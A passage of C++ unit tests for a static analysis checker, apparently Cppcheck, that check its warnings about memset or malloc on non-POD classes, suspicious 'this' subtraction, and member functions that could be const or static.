\"{\\n\"\n \" Pebbles pebbles;\\n\"\n \" memset(&pebbles, 0, sizeof(pebbles));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:12:5]: (error) Using 'memset' on class that contains a virtual function. [memsetClass]\\n\", errout_str());\n\n // Fred not defined in scope\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(n1::Fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Fred with namespace qualifier\n checkNoMemset(\"namespace n1 {\\n\"\n \" class Fred\\n\"\n \" {\\n\"\n \" std::string b;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" n1::Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:5]: (error) Using 'memset' on class that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A {\\n\"\n \" virtual ~A() { }\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int f() {\\n\"\n \" const int N = 10;\\n\"\n \" A** arr = new A*[N];\\n\"\n \" memset(arr, 0, N * sizeof(A*));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class A {\\n\" // #5116 - nested class data is mixed in the SymbolDatabase\n \" std::string s;\\n\"\n \" struct B { int x; };\\n\"\n \"};\\n\"\n \"void f(A::B *b) {\\n\"\n \" memset(b,0,4);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4461 Warn about memset/memcpy on class with references as members\n checkNoMemset(\"class A {\\n\"\n \" std::string &s;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n checkNoMemset(\"class A {\\n\"\n \" const B&b;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Using 'memset' on class that contains a reference. [memsetClassReference]\\n\", errout_str());\n\n // #7456\n checkNoMemset(\"struct A {\\n\"\n \" A() {}\\n\"\n \" virtual ~A() {}\\n\"\n \"};\\n\"\n \"struct B {\\n\"\n \" A* arr[4];\\n\"\n \"};\\n\"\n \"void func() {\\n\"\n \" B b[4];\\n\"\n \" memset(b, 0, sizeof(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8619\n checkNoMemset(\"struct S { std::vector m; };\\n\"\n \"void f() {\\n\"\n \" std::vector v(5);\\n\"\n \" memset(&v[0], 0, sizeof(S) * v.size());\\n\"\n \" memset(&v[0], 0, v.size() * sizeof(S));\\n\"\n \" memset(&v[0], 0, 5 * sizeof(S));\\n\"\n \" memset(&v[0], 0, sizeof(S) * 5);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:5:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:6:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\"\n \"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\",\n errout_str());\n\n // #1655\n const Settings s = settingsBuilder().library(\"std.cfg\").build();\n checkNoMemset(\"void f() {\\n\"\n \" char c[] = \\\"abc\\\";\\n\"\n \" std::string s;\\n\"\n \" memcpy(&s, c, strlen(c) + 1);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (error) Using 'memcpy' on std::string. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"template \\n\"\n \" void f(T* dst, const T* src, int N) {\\n\"\n \" std::memcpy(dst, src, N * sizeof(T));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" typedef std::vector* P;\\n\"\n \" P Src[2]{};\\n\"\n \" P Dst[2];\\n\"\n \" f

(Dst, Src, 2);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f() {\\n\"\n \" std::array a;\\n\"\n \" std::memset(&a, 0, 4);\\n\"\n \"}\\n\", s);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnInvalid() { // Ticket #5425\n checkNoMemset(\"union ASFStreamHeader {\\n\"\n \" struct AVMPACKED {\\n\"\n \" union {\\n\"\n \" struct AVMPACKED {\\n\"\n \" int width;\\n\"\n \" } vid;\\n\"\n \" };\\n\"\n \" } hdr;\\n\"\n \"};\"\n \"void parseHeader() {\\n\"\n \" ASFStreamHeader strhdr;\\n\"\n \" memset(&strhdr, 0, sizeof(strhdr));\\n\"\n \"}\");\n }\n\n void memsetOnStruct() {\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"void f()\\n\"\n \"{\\n\"\n \" struct sockaddr_in6 fail;\\n\"\n \" memset(&fail, 0, sizeof(struct sockaddr_in6));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{\\n\"\n \" void g( struct sockaddr_in6& a);\\n\"\n \"private:\\n\"\n \" std::string b;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" struct A fail;\\n\"\n \" memset(&fail, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:2]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Fred\\n\"\n \"{\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" Fred fred;\\n\"\n \" memset(&fred, 0, sizeof(fred));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct Stringy {\\n\"\n \" std::string inner;\\n\"\n \"};\\n\"\n \"struct Foo {\\n\"\n \" Stringy s;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Foo foo;\\n\"\n \" memset(&foo, 0, sizeof(Foo));\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n }\n\n void memsetVector() {\n checkNoMemset(\"class A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(struct A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred 